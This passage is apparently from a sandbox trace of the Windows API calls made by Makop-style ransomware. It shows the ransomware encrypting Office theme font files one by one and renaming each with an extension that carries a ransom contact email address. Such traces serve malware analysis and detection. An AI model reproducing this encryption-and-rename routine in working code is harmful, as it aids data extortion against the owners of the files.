lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0160.804] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0160.805] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0160.805] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0160.805] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0160.805] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.805] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.805] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.806] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe0b, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe0b, lpOverlapped=0x0) returned 1 [0160.806] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe10, dwBufLen=0xe10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe10) returned 1 [0160.806] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.806] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe10, lpOverlapped=0x0) returned 1 [0160.806] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.806] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.806] SetEndOfFile (hFile=0xf0) returned 1 [0160.813] GetProcessHeap () returned 0x48a0000 [0160.813] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0160.813] GetProcessHeap () returned 0x48a0000 [0160.813] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0160.813] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0160.813] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0160.824] CloseHandle (hObject=0xf0) returned 1 [0160.824] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.xml", cAlternateFileName="")) returned 1 [0160.824] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml") returned 75 [0160.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0160.827] GetProcessHeap () returned 0x48a0000 [0160.827] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0160.827] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0160.827] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0160.827] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0160.867] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.867] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.867] GetProcessHeap () returned 0x48a0000 [0160.867] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0160.867] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0160.867] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.867] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0160.867] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0160.868] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0160.868] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0160.868] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0160.868] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0160.868] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.868] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.868] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.869] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe16, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe16, lpOverlapped=0x0) returned 1 [0160.869] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20, dwBufLen=0xe20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20) returned 1 [0160.869] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.869] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe20, lpOverlapped=0x0) returned 1 [0160.869] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.869] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.869] SetEndOfFile (hFile=0xf0) returned 1 [0160.876] GetProcessHeap () returned 0x48a0000 [0160.876] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0160.876] GetProcessHeap () returned 0x48a0000 [0160.876] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0160.876] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0160.876] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0160.879] CloseHandle (hObject=0xf0) returned 1 [0160.879] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xefb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.xml", cAlternateFileName="BLACKT~1.XML")) returned 1 [0160.879] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml") returned 78 [0160.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0160.881] GetProcessHeap () returned 0x48a0000 [0160.881] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0160.881] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0160.881] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0160.881] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x5, lpOverlapped=0x0) returned 1 [0160.885] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.885] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.885] GetProcessHeap () returned 0x48a0000 [0160.885] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0160.885] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0160.885] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.885] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0160.885] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0160.885] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0160.885] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0160.885] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0160.886] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0160.886] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.886] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.886] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.886] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xefb, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xefb, lpOverlapped=0x0) returned 1 [0160.886] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf00, dwBufLen=0xf00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf00) returned 1 [0160.886] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.886] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xf00, lpOverlapped=0x0) returned 1 [0160.887] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.887] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xfd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.887] SetEndOfFile (hFile=0xf0) returned 1 [0160.893] GetProcessHeap () returned 0x48a0000 [0160.893] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0160.893] GetProcessHeap () returned 0x48a0000 [0160.893] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0160.894] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 125 [0160.894] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0160.896] CloseHandle (hObject=0xf0) returned 1 [0160.896] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.xml", cAlternateFileName="")) returned 1 [0160.896] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml") returned 74 [0160.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0160.899] GetProcessHeap () returned 0x48a0000 [0160.899] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0160.899] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0160.899] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0160.899] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0160.903] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.903] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.903] GetProcessHeap () returned 0x48a0000 [0160.903] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0160.903] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0160.903] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.903] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0160.904] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0160.904] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0160.904] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0160.904] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0160.904] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0160.904] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.905] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.905] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.905] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe1f, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe1f, lpOverlapped=0x0) returned 1 [0160.905] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20, dwBufLen=0xe20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20) returned 1 [0160.905] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.905] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe20, lpOverlapped=0x0) returned 1 [0160.905] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.905] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.905] SetEndOfFile (hFile=0xf0) returned 1 [0160.912] GetProcessHeap () returned 0x48a0000 [0160.912] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0160.912] GetProcessHeap () returned 0x48a0000 [0160.912] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0160.912] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0160.913] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0160.914] CloseHandle (hObject=0xf0) returned 1 [0160.914] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.xml", cAlternateFileName="")) returned 1 [0160.915] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml") returned 76 [0160.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0160.915] GetProcessHeap () returned 0x48a0000 [0160.916] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0160.916] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0160.916] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0160.916] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0160.920] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.920] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.920] GetProcessHeap () returned 0x48a0000 [0160.920] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0160.920] CryptEncrypt (in: 